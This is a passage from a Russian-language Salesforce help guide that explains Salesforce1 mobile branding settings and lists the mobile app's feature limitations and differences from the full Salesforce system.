компонентах версии
Lightning Experience: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в Salesforce
Classic в следующих
версиях: все версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров
фирменного стиля
Salesforce1:
• «Просмотр настройки и

конфигурации»

Для изменения параметров
фирменного стиля
Salesforce1:
• «Настройка

приложения»

«Изменение всех
данных»

Системапозволяетизменять внешнийвидмобильногоприложения Salesforce1, включая
цветфонаилоготипдля страницызагрузки, а такжецветфонадля верхнегоколонтитула,
в соответствии с фирменным стилем компании.

Прим.: Изображения, загружаемыедлянастройкиприложенияSalesforce1, хранятся
впапке «РесурсыфирменногостиляSalesforce1» навкладке «Документы». Поданной
причинепросмотриизменениестраницы «ФирменныйстильSalesforce1» доступны
администраторамтолькопосле включенияобъекта «Документы» дляорганизации.
(Тем не менее, вкладка «Документы» может быть недоступной.)

При использовании мобильного веб-приложения Salesforce1 настраиваемый
фирменный стиль доступен пользователям только после включения объекта
«Документы» для организации. При использовании загружаемых приложений
Salesforce1 объект «Документы» должен быть доступен пользователям для чтения.

1. Вразделенастройкивведите «Фирменный стиль» вполе «Быстрый поиск», выберите
«Фирменный стиль</b> <b>Salesforce1», затем щелкните «Правка».

2. Чтобы настроить фирменный цвет для основных элементов пользовательского

интерфейса, включая верхний колонтитул, щелкните значок или введите
допустимыйшестнадцатеричный код цвета.

3. Чтобынастроитьцветфонадлястраницызагрузки, щелкнитезначок иливведите
допустимыйшестнадцатеричный код цвета.

4. Чтобынастроитьлоготипстраницызагрузки, нажмитекнопку«Выбратьфайл»для
загрузки изображения. Допустимые форматы изображения: JPG, GIF и PNG. Размер
файланедолженпревышать 200 Кб. Максимальныйразмеризображениясоставляет
460 х 560 пикселов.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Фирменный стиль организации в мобильном приложении Salesforce1

Ограничения и отличия приложения Salesforce1 от полной версии Salesforce
Мобильное приложение Salesforce1 поддерживает только некоторыефункцииполной версии системы Salesforce, а также
может содержать функции, которые не поддерживаются полной версией системы.

Ниже перечислены отличающиеся области.

• Поддерживаемые данные Salesforce

• Макеты страниц (включая поля и связанные списки)

• Навигация и действия

• Поиск информации

• Создание и редактирование записей

• Управление повторами

• Примечания
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• Salesforce Today

• Задачи и события

• ФункцииWork.com

• Составление отчетов в приложении Salesforce1

• Ленты, темы, профили, группы и файлы Chatter

• Вопросы Chatter

• Сообщества Salesforce

• Запросы на утверждение

• Уведомления

• Безопасность

• Поддерживаемые настройки Salesforce

СМ. ТАКЖЕ:

Поддержка языковых и региональных настроек для приложения Salesforce1

Данные, поддерживаемые приложением Salesforce1: ограничения и отличия от полной версии
Salesforce
Ниже перечислены объекты, доступные в мобильном приложении Salesforce1.

• Организации/Организации-лица

• Активы (просмотр или редактирование только в загружаемых приложениях)

• Кампании

• Обращения

• Контакты

• Контракты

• Компания D&B (только просмотр, для клиентовData.com Premium Prospector и Data.com Premium Clean)

• Панели мониторинга (только просмотр)

• События

• Интересы

• Транскрипты Live Chat

• Возможности

• Заказы (только просмотр или редактирование)

• Отчеты (только просмотр)

• Статьи «Знания Salesforce» (только просмотр)

• Задачи

• Обучение, цели, благодарности, наградыинавыкиWork.com (навыкинедоступныпри использовании загружаемого приложения
iOS)

• Рабочие заказы (просмотр или редактирование только в загружаемых приложениях)

• Настраиваемые объекты, имеющие доступную вкладку

• Внешние объекты Lightning Connect, доступные для поиска и имеющие вкладку, к которой можно получить доступ
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Прим.: Приложение Salesforce1 отображает только объекты, имеющие доступную вкладку. Данный алгоритм
распространяется на поддерживаемые стандартные настраиваемые и внешние объекты организации.

Приложение Salesforce1 не поддерживает объект «Пользователь» и не предоставляет доступ к страницам сведений
о записях пользователей. Тем не менее, поля пользователя поддерживаются и отображаются профилями
пользователей, связанными списками и т. д.См. Макеты страниц в приложении Salesforce1: ограничения и отличия
от полной версии Salesforce, где приведены некоторые проблемы с пользовательскими полями в Salesforce1.

Приложение Salesforce1 не поддерживает:

• Стандартные или настраиваемые приложения Salesforce. (Взамен, меню навигации предоставляет пользователям
доступ ко всем объектам, доступным в мобильном приложении.)

• Консоль Salesforce или консоль Agent Console.

• Расширенное управление валютами.

Организации

• Социальные организации:

– Приложение Salesforce1 не поддерживает функции социальных организаций для социальных сетей LinkedIn,
Facebook, Klout и YouTube.

– Изображение для профиля, выбранное для организации, связанной с профилем в социальной сети, может
просматриваться в приложении Salesforce1 даже без выполнения входа. Изображения для профилей LinkedIn
отображаются только после входа в социальную сеть LinkedIn; изображения для профилей Facebook или Twitter
могут отображаться даже без выполнения входа в данные социальные сети. Приложение Salesforce1 не позволяет
изменять изображение для профиля.

– Загружаемое приложение Salesforce1 позволяет просматривать заметки, повторные заметки, ответы и избранное
для связанного пользователя Twitter. Чтобы просмотреть заметки прямо в Twitter при использованиимобильного
веб-приложения Salesforce1, коснитесь профиля Twitter. Кроме того, мобильное веб-приложение Salesforce1 не
позволяет просматривать отслеживаемых и отслеживающих для пользователя Twitter.

– Приложение Salesforce1 позволяет просматривать общие связи, используемые совместно с организациями в
социальной сети Twitter. Полная версия системы Salesforce не поддерживает просмотр общих связей.

– Чтобы просмотреть карту Twitter для организации в приложении Salesforce1, добавьте Twitter в соответствующий
макет страницы. Чтобы изменить макеты страниц, воспользуйтесь полной версией системы Salesforce. При
использовании организаций-лиц рекомендуем отдельно добавить карту для макетов организаций-компаний и
макетов организаций-лиц.

• Новости организации не поддерживаются полной версией системы Salesforce.

• Кнопки «Удалить» и «Управление внешней организацией» не поддерживаются.

• Просмотр иерархии организаций не поддерживается.

• Объединение организаций или контактов не поддерживается.

• Группы, работающие с организациями, партнеры, примечания и вложения доступны для просмотра, но недоступны
для редактирования.

• Отчеты и инструменты начальной страницы организаций не поддерживаются.

• Записи в связанном списке «Роли контактов» доступны только для чтения.

Поле «Роли» связанного списка «Роли контактов» не поддерживается.

• Очистка записей организаций посредством функции Data.com Clean не поддерживается.
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Группы, работающие с организациями

• Группы, работающие с организациями, доступныдляпросмотра, но участники групп, работающих с организациями,
недоступны для добавления, редактирования или удаления в приложении Salesforce1.

• Кнопка «Показать доступ» не поддерживается.

Кампании

• Кнопки «Управление участниками» и «Дополнительные параметры» не поддерживаются.

• Иерархия кампаний доступна только в виде связанного списка. Страница сведений о кампании не содержит ссылки
«Просмотр иерархии». В отличие от полной версии системы, при просмотре родительской кампании связанный
список «Иерархия кампаний» содержит только дочерние кампании.

• Припросмотресвязанногосписка «Участникикампании» отображается толькостатус участников. Чтобыпросмотреть
сведения об участнике, коснитесь нужного участника.

Обращения

• Стандартные действия в ленте обращений не поддерживаются приложением Salesforce1 и недоступны в мобильном
приложении. Ихфункции предоставляются быстрыми действиями. Например, для обеспечения функций действия
«Электроннаяпочта» настраницеобращенийнеобходимосоздатьбыстроедействие «Отправкасообщенияэлектронной
почты» и добавить его в макет страницы обращений в Salesforce1 или в мобильном приложении.

Быстрое действие, доступное в Salesforce1 и
мобильном приложении

Стандартное действие, доступное в Salesforce Classic

Отправка эл. почтыЭл. почта

Обновить обращениеИзменить статус обращения

Зарегистрировать вызовЗарегистрировать вызов

Действие «Портал» не поддерживается в Salesforce1 и недоступно для мобильного приложения.

Если организация использует устаревшуюфункцию «Макеты страниц для пользователей ленты обращений», то
пользователи, имеющие полномочие «Использование ленты обращений», могут просматривать стандартный макет
обращения в мобильном приложении.

• Некоторые поля связанных списков «Сервисные контракты» и «Элементы строки контракта» не поддерживаются.

• Ниже перечислены недоступные связанные списки.

– Список праздника «Часы работы»

– Роль контакта обращения

– Список «Контрольные точки»

– Список «Решения»

– Список «Участники рабочей группы»

– Список рабочей группы «Участники рабочей группы»

– Список «Участникишаблона рабочей группы»
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Контакты

• Социальные контакты:

– Приложение Salesforce1неподдерживаетфункциисоциальныхконтактовдля социальныхсетей LinkedIn, Facebook,
Klout и YouTube.

– Изображение для профиля, выбранное для контакта, связанного с профилем в социальной сети, может
просматриваться в приложении Salesforce1 даже без выполнения входа. Изображения для профилей LinkedIn
отображаются только после входа в социальную сеть LinkedIn; изображения для профилей Facebook или Twitter
могут отображаться даже без выполнения входа в данные социальные сети. Приложение Salesforce1 не позволяет
изменять изображение для профиля.

– Загружаемое приложение Salesforce1 позволяет просматривать заметки, повторные заметки, ответы и избранное
для связанного пользователя Twitter. Чтобы просмотреть заметки прямо в Twitter при использованиимобильного
веб-приложения Salesforce1, коснитесь профиля Twitter. Кроме того, мобильное веб-приложение Salesforce1 не
позволяет просматривать отслеживаемых и отслеживающих для пользователя Twitter.

– ПриложениеSalesforce1позволяетпросматриватьобщиесвязи, используемыесовместносконтактамивсоциальной
сети Twitter. Полная версия системы Salesforce не поддерживает просмотр общих связей.

– Чтобыпросмотреть карту Twitter для контакта в приложении Salesforce1, добавьте Twitter в соответствующиймакет
страницы. Чтобы изменить макеты страниц, воспользуйтесь полной версией системы Salesforce.

• Использование значка для отправки сообщений эл. почты из приложения Salesforce1 не инициирует создание
журналов действий.

• Кнопки«Запроситьобновление», «Управлениевнешнимпользователем»и «Включитьпользователя-клиента»
не поддерживаются.

• Добавлениевозможностей, пользователейорганизацииивложенийдляконтактаилидобавлениеконтактав кампанию
не поддерживается.

• Объединение организаций или контактов не поддерживается.

• Добавление контактов из Data.com или очистка записей контактов посредством функции Data.com Clean не
поддерживается.

Контракты

• Кнопки «Клонировать», «Активировать» и «Деактивировать» не поддерживаются.

• Ниже перечислены недоступные связанные списки.

– Журнал контракта

– Элементы для утверждения

Интересы

• Социальные интересы:

– Приложение Salesforce1неподдерживаетфункциисоциальныхинтересовдля социальныхсетей LinkedIn, Facebook,
Klout и YouTube.

– Изображение для профиля, выбранное для интереса, связанного с профилем в социальной сети, может
просматриваться в приложении Salesforce1 даже без выполнения входа. Изображения для профилей LinkedIn
отображаются только после входа в социальную сеть LinkedIn; изображения для профилей Facebook или Twitter
могут отображаться даже без выполнения входа в данные социальные сети. Приложение Salesforce1 не позволяет
изменять изображение для профиля.
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– Загружаемое приложение Salesforce1 позволяет просматривать заметки, повторные заметки, ответы и избранное
для связанного пользователя Twitter. Чтобы просмотреть заметки прямо в Twitter при использованиимобильного
веб-приложения Salesforce1, коснитесь профиля Twitter. Кроме того, мобильное веб-приложение Salesforce1 не
позволяет просматривать отслеживаемых и отслеживающих для пользователя Twitter.

– ПриложениеSalesforce1позволяетпросматриватьобщиесвязи, используемыесовместносинтересамивсоциальной
сети Twitter. Полная версия системы Salesforce не поддерживает просмотр общих связей.

– Чтобыпросмотреть карту Twitter дляинтереса вприложении Salesforce1, добавьте Twitter в соответствующиймакет
страницы. Чтобы изменить макеты страниц, воспользуйтесь полной версией системы Salesforce.

• Преобразование интересов:

– Пользователи могут выбирать организации, но не могут их создавать.

– Пользователи могут создавать возможности, но не могут их выбирать.

– Пользователи не могут выбирать источники интересов в повторяющихся записях. По умолчанию источником
интереса считается повторяющийся контакт.

– Пользователинемогут создавать связанные задачи во время преобразования, номогут создавать задачииз записи
контакта.

– Пользователи не могут автоматически уведомлять ответственных за преобразованные интересы.

• Кнопки «Найти повторы» и «Разблокировать запись» не поддерживаются.

• Связанный список «Журнал интереса» не поддерживается.

• При добавлении нового интереса поле «Кампания» и флажок «Назначить с помощью активного правила
назначения» недоступны. Данные поля могут быть заполнены значениями в полной версии системы Salesforce.

Возможности

• Кнопка «Конкуренты» не поддерживается.

• Данные поля недоступны: поле стоимости «Доли возможности», поле промежуточной суммы «Продукты» и поле
подключения «Журнал этапов».

• Записи в связанном списке «Роли контактов» доступны только для чтения.

Поле «Роли» связанного списка «Роли контактов» не поддерживается.

• Связанные списки «Влияние кампании» и «Похожие возможности» не поддерживаются.

• Данные связанные списки доступны, но отображают только карты предварительного просмотра записи; записи
списков недоступны для просмотра.

– Конкуренты

– Доли возможности

– Журнал этапов

• Ответственныйзапотенциальногоклиентанеможетизменятьпараметры «Вероятность» или «Категория прогноза».
Однако при сохранении записи данные поля автоматически заполняются значениями, основанными на значении
поля «Возможности этапа». Ответственный за потенциального клиента может вручную изменить значения этих
полей в Salesforce Classic (недоступно из Lightning Experience).

• ПреждечемиспользоватьприложениеSalesforce1длядобавленияпродукта в возможность, убедитесь, чтовозможность
ужесодержитсвязанныйпрайс-лист. Связываниепрайс-листас возможностьюподдерживаетсятолькополнойверсией
системы Salesforce.
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• Возможности не могут быть дополнены продуктами с расписаниями доходов или объемов продукции. Впротивном
случае, продукт отображается в возможности, но не поддерживает создание расписания. Кроме того, возможность не
может использоваться для переустановки расписания продукта.

Группа, работающая с возможностями

• Кнопки «Клонировать» и «Показать доступ» не поддерживаются.

Заказы

• Кнопки«Создать», «Клонировать», «Активировать», «Деактивировать»и«Сократитьзаказ»неподдерживаются.

• Добавление, редактирование или удаление продуктов заказа не поддерживается.

Сметы

• PDF-сметы отображаются в связанном списке, но недоступны для просмотра.

• Пользователи могут утверждать или отклонять сметы, но не могут отправлять сметы на утверждение.

• Ниже перечислены недоступные действия.

– Отправить смету по эл. почте

– Создать PDF

– Начать синхронизацию

– Остановить синхронизацию

Статьи Salesforce Knowledge

Загружаемое приложение Salesforce1 для платформы iOS не поддерживает статьи. Статьи поддерживаются загружаемым
приложением Salesforce1для Android версии 8.0 илиновее, атакжевмобильномвеб-приложении Salesforce1сограничениями,
указанными ниже.

Мобильное
веб-приложение

Загружаемое
приложение

Android версии
8.0 или новее

Проблема

Доступны только опубликованные статьи. Черновики или статьи из архива не
поддерживаются.

Создание, редактирование, переводи архивирование статейнеподдерживаются.

Статьи невозможно привязать к обращениям. (Однако ссылки, настроенные в
полной версии, можно просматривать в Salesforce1 на вкладке «Связанное».)

Интеллектуальные ссылки не поддерживаются.

Рейтинги статей не поддерживаются.

Привключениивполяобогащенноготекста статейтаблицымогутбытьобрезаны
по правому краю.
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Мобильное
веб-приложение

Загружаемое
приложение

Android версии
8.0 или новее

Проблема

Компактные макеты вместо имени типа статьи отображают имя типа
API-интерфейсастатьи. Поэтомуприпросмотрестатьипользователибудут видеть
имя типа API-интерфейса статьи в области основных данных.

При поиске на домашней странице «Статьи» возвращаются только статьи на
языке пользователя, если этот язык установлен как активный язык базы знаний
(пункты меню «Настройка»: «Настроить» > > «База знаний» > > «Параметры
базы знаний»). Для просмотра статей на другом языке пользователь может
сменить активный язык базы знаний. В меню «Мои настройки» определите
расположениестраницы «Языкичасовойпояс» спомощьюполяпоиска «Быстрый
поиск».

Результаты глобального поиска отобразят статьи на языке, указанном для
устройства, вне зависимости от активного языка базы знаний.

Фильтрация результатов поиска по категориям данных, типу статей, статусу
проверки или языку недоступна.

Приглобальномпоиске статьинебудутотображаться в спискенедавних записей.

В результатах глобального поиска не отображаются выделения и фрагменты.

Эти функции доступны во всех версиях Salesforce1 при поиске на домашней
странице «Статьи».

При входе в сообщества с помощью мобильного приложения Salesforce1 статьи
базы знаний недоступны.

Макеты страниц в приложении Salesforce1: ограничения и отличия от полной версии Salesforce

Поля

• НесмотрянанедоступностьстраницсведенийопользователяхвмобильномприложенииSalesforce1, поляпользователя
поддерживаются и отображаются профилями пользователей, связанными списками и т. д.

Ниже перечисленыполя пользователя, при отображении которых в связанных списках или мобильных картах могут
возникать некоторые проблемы.

– Поле «Название компании» отображаетсяпустым, есливнутреннийпользовательпросматриваетзаписьмобильной
карты или связанного списка, связанную с другим внутренним пользователем. Если упоминаемый пользователь
является внешним пользователем, то название компании отображается правильно.

– Поле «Активно» отображается пустым, кроме случаев неактивности пользователя.

• Ниже перечислены поля, которые не поддерживаются приложением Salesforce1.

– поля подразделений

– поля функции управления территориями
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• Поддержкаполейтипа «Областьобогащенноготекста» зависитотверсииприложенияSalesforce1итипаиспользуемого
устройства.

Редактирование полей
типа «Область
обогащенного текста»

Просмотр полей типа
«Область обогащенного
текста»

Версия приложения
Salesforce1

Устройство

Да

Редактор обогащенного
текста недоступен.

ДаЗагружаемое приложение

Мобильное
веб-приложение

Android

HTML-теги могут быть
добавлены вручную.

НетНетМобильное
веб-приложение

BlackBerry

НетДаЗагружаемое приложениеiOS

Да

Редактор обогащенного
текста доступен.

ДаМобильное
веб-приложение

iOS

НетНетМобильное
веб-приложение

Windows 8.1

Последовательность табуляции для макетов страниц

• ПриложениеSalesforce1неподдерживаетнисходящуюпоследовательностьтабуляции. Еслимакет страницыпозволяет
пользователям перемещаться по полям сверху вниз, то приложение Salesforce1 поддерживает только перемещение
по полям слева направо.

Связанные списки

• Связанные спискивприложении Salesforce1отображаютпервыечетыреполя, заданныевразделе «Связанныйсписок»
макета страницы объекта. Количество отображаемых полей не может быть увеличено.

• Мобильное приложение не поддерживает некоторые связанные списки, включая:

– Доставки содержимого

– Внешний общий доступ

– Связанное содержимое

Кроме того, см. раздел «Данные, поддерживаемыеприложением Salesforce1: ограниченияиотличияотполнойверсии
Salesforce» на странице 1145 для связанных списков, недоступных для конкретных объектов.

• Связанный список «Примечания и вложения» поддерживается приложением Salesforce1 неполностью. Ниже
перечислены некоторые проблемы.

– Вложения, добавленные посредством полной версии системы Salesforce, могут не открываться в приложении
Salesforce1 даже при условии их отображения в связанном списке. Рекомендуем использовать вкладку «Файлы».
Документы, загруженные на вкладку «Файлы» в полной версии системы, доступны для просмотра в приложении
Salesforce1.
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– Связанныйсписокнеподдерживаетдобавлениеиудалениепримечанийиливложений. (Чтобысоздатьпримечание

исвязатьегосзаписью, воспользуйтесьдействием«Примечание» ( ) напанелидействийприложенияSalesforce1.
Доступность данного действия для некоторых объектов определяется способом настройки примечаний в
приложении Salesforce1, выполненной администратором.)

– Примечания и вложения, добавленные в дочерние записи, не отображаются в связанном списке родительской
записи.

• Если связанный список сортируется по полю текстовой области, в нем не отображаются никакие записи.

Навигация и действия в приложении Salesforce1: ограничения и отличия от полной версии
Salesforce
Навигация

• Мобильное приложение Salesforce1 поддерживается только в книжной ориентации. В загружаемых приложениях
интерфейс не поворачивается при переключении устройства в альбомную ориентацию. Мобильное
приложение-браузер поворачивается, но его правильная работа в этом положении не гарантирована.

Действия

• Большинство действий, включая быстрые действия, продуктивные действия, а также стандартные и настраиваемые
кнопки, отображаются на панели действий или в действиях над элементом списка в приложении Salesforce1.

• Ниже перечислены различия между быстрым действием «Отправка эл. почты» системы Salesforce и стандартным
действием «Эл. почта» ленты обращения.

– Действие «Отправка эл. почты» не позволяет пользователям переключаться между редакторами обычного и
обогащенного текста.

– Действие «Отправка эл. почты» не поддерживает шаблоны.

– Действие «Отправка эл. почты» не поддерживает быстрый текст.

– Действие «Отправка эл. почты» не поддерживает вложения.

– Действие «Отправка эл. почты» не позволяет пользователям сохранять сообщения в виде черновиков.

– Поле «От» в действии «Отправка сообщения электронной почты» недоступно для просмотра и редактирования.

Поиск в приложении Salesforce1: ограничения и отличия от полной версии Salesforce

Приложение Salesforce1 не поддерживает одновременный глобальный поиск по нескольким объектам. Чтобы выбрать
нужный объект, воспользуйтесь панелью области поиска, расположенной под полем глобального поиска.

Объекты, доступные на панели области поиска, аналогичны элементам, отображающимся в разделе «Недавние» меню
навигации приложения Salesforce1. При использовании системы Salesforce впервые и отсутствии журнала недавних
объектов поиск может выполняться по стандартному набору объектов: «Организации», «Обращения», «Контакты»,
«Файлы», «Интересы», «Возможности», «Группы» и «Люди» (при отсутствии данных элементов в меню навигации). По
мере использования приложения Salesforce1 и полной версии системы Salesforce объекты, используемые чаще других, со
временем заменяют стандартные элементы раздела «Недавние» и становятся объектами, доступными для глобальных
поисков в приложении Salesforce1.

Объект, недоступныйдля глобальногопоискавприложенииSalesforce1, можетбытьнайденнапрямую. Чтобыпросмотреть
все доступные объекты, коснитесь пункта «Больше» внизу раздела «Недавние» меню навигации. Чтобы открыть
соответствующую страницу поиска записи, коснитесь нужного объекта.
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Результаты глобального поиска или поиска по записям определенного объекта Salesforce1 не содержат списковые
представления. Чтобынайтисписковыепредставления, откройте страницупоиска записидлянужногообъектаи введите
критерии поиска. Помере ввода отображается список совпадающих элементов, содержащий списковые представления,
которые использовались в полной версии системы Salesforce недавно.

Поиски выполняются только по полю имени для каждого объекта.

Ниже перечислены действия, которые не поддерживаются приложением Salesforce1 во время поиска.

• Фильтрация результатов поиска

• Фиксация часто используемых элементов

• Поиск по подразделению

Ввод данных в приложении Salesforce1: ограничения и отличия от полной версии Salesforce

Ниже перечислены некоторые различия между полной версией системы Salesforce и приложением Salesforce1 при
добавлении новых записей или обновлении текущих данных.

Редактирование
записей

Создание
записейПроблемаКатегория

Функция встроенного редактирования недоступна.Любая запись

Ответственный и тип записи не могут быть изменены.

Комбинированные списки, объединяющие раскрывающиеся списки с
текстовыми полями, недоступны. Как правило, текстовое поле доступно, а
раскрывающийся список недоступен.

Еслиорганизацияиспользуетфункциюуправлениятерриториями, топравила
территории, заданные для записи, не могут быть изменены.

Ссылки «Копировать адрес для счета в адрес отправки» и «Копировать
почтовый адрес в другой адрес» недоступны.

Организациии
контакты

Еслиорганизацияиспользуетфункциюуправлениятерриториями, топараметр
«При сохранении оценить данную организациюпо правилам
территории» недоступен при редактировании организаций.

Ответственный за событие не может изменять, добавлять или удалять
приглашенных на событие. При наличии двух и более связанных контактов

События

ответственномузасобытиенедоступноихредактирование; приналичиитолько
одногосвязанногоинтересаиликонтактаответственномуза событиедоступно
его редактирование, но недоступно добавление других контактов или
интересов.

События, которые не связаны с контактом или объектом, не отображаются.

Предложенное событие не может быть принято или отклонено.

Функция «Общедоступные действия» не может использоваться для пакетного
связывания контактов с событиями.

Предложенные события (кнопка «Создать запрос на проведение
конференции») не поддерживаются.
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Редактирование
записей

Создание
записейПроблемаКатегория

Поле «Связано с» остается доступным для редактирования при назначении
полю «Имя» значения «Интерес»; однако, если поле «Связано с» содержит
данные на момент сохранения записи, то система возвращает ошибку.

Повторяющиеся события не могут быть созданы, а сведения о
последовательности повторяющихся событий не могут быть изменены.
(Сведенияоботдельныхэкземплярахпоследовательностисобытиймогутбыть
изменены.)

Поле «Тема» не содержит раскрывающегося списка предопределенных тем.

Поля связанного контакта «Эл. почта» и «Тел.» не отображаются.

Поле «Описание» не поддерживает функцию проверки орфографии.

Вложения не могут быть добавлены.

Электронные уведомления не могут быть отправлены.

Напоминания о событиях не могут быть заданы.

При добавлении нового интереса поле «Кампания» и флажок «Назначить
с помощью активного правила назначения» недоступны. Данныеполямогут
быть заполнены значениями в полной версии системы.

Интересы

Поле «Вероятность» или «Категория прогноза» не может быть изменено.
Однако при сохранении записи данные поля автоматически заполняются

Возможности

значениями, основаннымина значенииполя «Этап». Значенияданныхполей
могут быть изменены вручную в полной версии системы.

Поле «Тема» не содержит раскрывающегося списка предопределенных тем.Задачи

Поле «Связано с» остается доступным для редактирования при назначении
полю «Имя» значения «Интерес»; однако, если поле «Связано с» содержит
данные на момент сохранения записи, то система возвращает ошибку.

Поля связанного контакта «Эл. почта» и «Тел.» не отображаются.

Функция «Общедоступные действия» не может использоваться для пакетного
связывания контактов с задачами.

Повторяющиеся задачи не могут быть созданы, а сведения о
последовательностиповторяющихсязадачнемогутбытьизменены. (Сведения
об отдельных экземплярах последовательности задач могут быть изменены.)

Поле «Комментарии» не поддерживает функцию проверки орфографии.

Вложения не могут быть добавлены.

Электронные уведомления не могут быть отправлены.

Напоминания о задачах не могут быть заданы.
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Редактирование
записей

Создание
записейПроблемаКатегория

Определяемые администратором зависимые фильтры поиска не
поддерживаются.

Поля поиска

Определяемые пользователем поля фильтров поиска не поддерживаются.

Поля номера телефона отображают дополнительную клавиатуру,
позволяющую вводить номер телефона. Дополнительная клавиатура не

Поля номера
телефона

поддерживает круглые скобки, дефисы и точки, а приложение Salesforce1 не
форматирует номер телефона при сохранении записи. Чтобы
отформатировать номер телефона, воспользуйтесь полной версией системы.

Приложение Salesforce1 поддерживает управляющие и зависимые
раскрывающиеся списки, но не отображает индикаторы данных полей на

Поля
раскрывающегося
списка страницах создания и редактирования. Чтобы определить зависимые и

управляющие раскрывающиеся списки, воспользуйтесь полной версией
системы.

Функция управления повторами в приложении Salesforce1: ограничения и отличия от полной
версии Salesforce

Функция управления повторами в приложении Salesforce1 аналогична полной версии системы. Ниже перечислены
некоторые различия.

• Каждый возможныйповтор отображается на карте повтора: приложение Salesforce1 отображает не более 30 повторов
(10 на объект).

• Картаповтораотображает триполя, которыеизвлекаютсяизформатарезультатовпоиска, заданногодляорганизации,
а не из связанного правила соответствия.

• Чтобыпросмотретьполныесведенияовозможномповторе, коснитеськартыповтора. Обратите внимание, чтоданное
действиеудаляетсведения, введенныевновуюилиобновленнуюзапись. Преждечемсохранитьзаписьилипросмотреть
дополнительные карты, рекомендуем повторить ввод данных сведений.

• Поумолчаниюправилаобработкидубликатоввыполняютсяпризаполненииполейзаписи. В Salesforce Classicправила
обработки дубликатов выполняются при сохранении записи.

Примечания в приложении Salesforce1: ограничения и отличия от полной версии Salesforce

• При использовании приложения Salesforce1 элемент «Примечания» в меню навигации приложения Salesforce1
предоставляетпользователямдоступковсемпримечаниям. Всоставполнойверсии Salesforce Classicневходитвкладка
«Заметки». Вместо нее пользователи Salesforce Classic применяют заметки из вкладки «Файлы».

• В отличие от полной версии системы Salesforce Classic мобильное приложение позволяет связывать примечание с
несколькими записями.

Приложение Salesforce Today в приложении Salesforce1: ограничения
Приложение Salesforce Todayподдерживается загружаемымиприложениями Salesforce1для телефонов Android иустройств
iPhone и iPad. Данноеприложениенеподдерживаетсямобильнымвеб-приложением Salesforce1иполнойверсиейсистемы
Salesforce.
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Ниже перечислены некоторые ограничения при использовании приложения Today.

• Текущий выпуск приложения Today позволяет просматривать локальные события из выбранных календарей на
мобильном устройстве, но не поддерживает события Salesforce.

• Еслинекоторыеили все серверыкалендарейне доставляютданныенамобильное устройство, топоследние сведения
отображаются приложением Today только после обновления календарей.

• 24-часовой формат времени не поддерживается.

• При просмотре многодневного события раздел «Основное» содержит только дату и время окончания.

• Повторяющиеся многодневные события могут отображать неверную дату и время.

• Есликалендарьнеотображаетименаприглашенныхввидуслишкомдлинногосписка, топриложениеTodayотображает
строку «Приглашенных: 1» на картах «Текущее событие» и «Повестка» основного представления, но не отображает
приглашенных при открытии события.

• Совпадающая запись Salesforce для организатора события iCloud не может быть найдена приложением Today, так как
интерфейс iCloud API не возвращает адрес эл. почты.

• Приложение Today использует часовой пояс мобильного устройства, а события Salesforce используют часовой пояс
системы Salesforce, назначенныйпользователю. При различии данных параметров во время регистрации локального
события из приложения Today поле «Время» нового события Salesforce отображает часовой пояс системы Salesforce,
назначенный пользователю, но не соответствует времени локального события.

• При отсутствии совпадающей записи Salesforce имя организатора конференцииможет отображаться на устройствах
Android некорректно.

• Изменения, внесенныедругимпользователемвзаписьсобытиямобильногокалендаря, неотображаютсяавтоматически
текущему пользователю, просматривающему запись в приложении Today на устройстве Android. Запись обновляется
при ее следующем выборе в основном представлении приложения Today.

• Еслипользовательоткрываетприложение Todayна устройстве Android длярегистрациилокальногособытия в системе
Salesforce, а затемпросматривает данное событие вприложении Todayна другом устройстве Android илина устройстве
iOS, то событиеможетотображатьсянезарегистрированным, априложение Todayнеможетиспользоватьсядлядоступа
к соответствующему событию Salesforce. Подобные ошибки являются результатом определения локальных событий
операционнойсистемой Android. Темнеменее, прииспользованиипервоначальногоустройства Android отображается
статус зарегистрированного события и действительная ссылка.

• Приложение Today всегдаотображает сведенияопогодена устройствах, оснащенныхоперационнойсистемой Android
4.4, несмотря на возможную недоступность сведений о местоположении. Данная ошибка не связана с приложением
Today и должна быть устранена на уровне операционной системы Android 4.4.

• Приложение Today недоступно пользователям Chatter Free и Chatter External, так как данные типы лицензий не
поддерживают доступ к контактам и организациям-лицам.

Действия в приложении Salesforce1: ограничения и отличия от полной версии Salesforce

События

• Архивные события недоступны.

• Функция «Общедоступные действия» не может использоваться для пакетного связывания объектов с событиями.

• Пользователи не могут добавлять события в приложение Microsoft® Outlook®.

• Пользователи не могут добавлять или удалять приглашенных из событий.

• Предложенное событие не может быть принято или отклонено.
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• Страницы просмотра или редактирования сведений о событиях не отображают разделы «Повторение» и
«Напоминание».

• События используют часовой пояс системы Salesforce, выбранный пользователем.

• При просмотре событий Salesforce посредством элемента «События» из меню навигации приложения Salesforce1
панель даты всегда начинается воскресеньем и заканчивается субботой, независимо от используемого устройства и
региональных параметров системы Salesforce.

• При просмотре списка событий на текущий день в 23:59 список событий на следующий день не отображается
автоматически при наступлении полуночи.

• Связанные списки приглашенных отображают содержимое, которое немного отличается от полной версии системы
Salesforce. Список приглашенных в полной версии системы отображает ответственного за событие и приглашенных.
Связанный список приглашенных в приложении Salesforce1 отображает только приглашенных. Ниже приведены
запросы, позволяющие использовать функции полной версии системы в приложении Salesforce1.

Чтобы разрешить организатору события просмотр всех приглашенных (при наличиифункции «Общедоступные
действия»), воспользуйтесь запросом ниже.

SELECT RelationId FROM EventRelation WHERE isInvitee = true AND eventId='[Event_Id]'

где переменная Event_Id заменяется кодом дочернего события.

Чтобы разрешить организатору события просмотр всех приглашенных (при отсутствиифункции «Общедоступные
действия»), воспользуйтесь запросом ниже.

SELECT RelationId FROM EventRelation WHERE eventId='[Event_Id]'

Данные запросы извлекают связи основного события и отображают их для выбранного дочернего события. Чтобы
выполнить дополнительнуюфильтрацию результатов, добавьте оператор WHERE.

Задачи

• Для элемента «Задачи» в Salesforce1 доступны только списки задач «Мои задачи», «Завершено за последнюю
неделю», «Делегировано» и «Сегодня». Другие списки задач, в том числе «Просрочено», «В текущем месяце» и
«Все открыты», в мобильном приложении недоступны.

• Архивные задачи недоступны.

• Функция «Общедоступные действия» не может использоваться для пакетного связывания контактов с задачами.

• Групповые (многопользовательские) задачи недоступны.

• Страницыпросмотраилиредактированиясведенийозадачахнеотображаютразделы «Повторение» и «Напоминание».

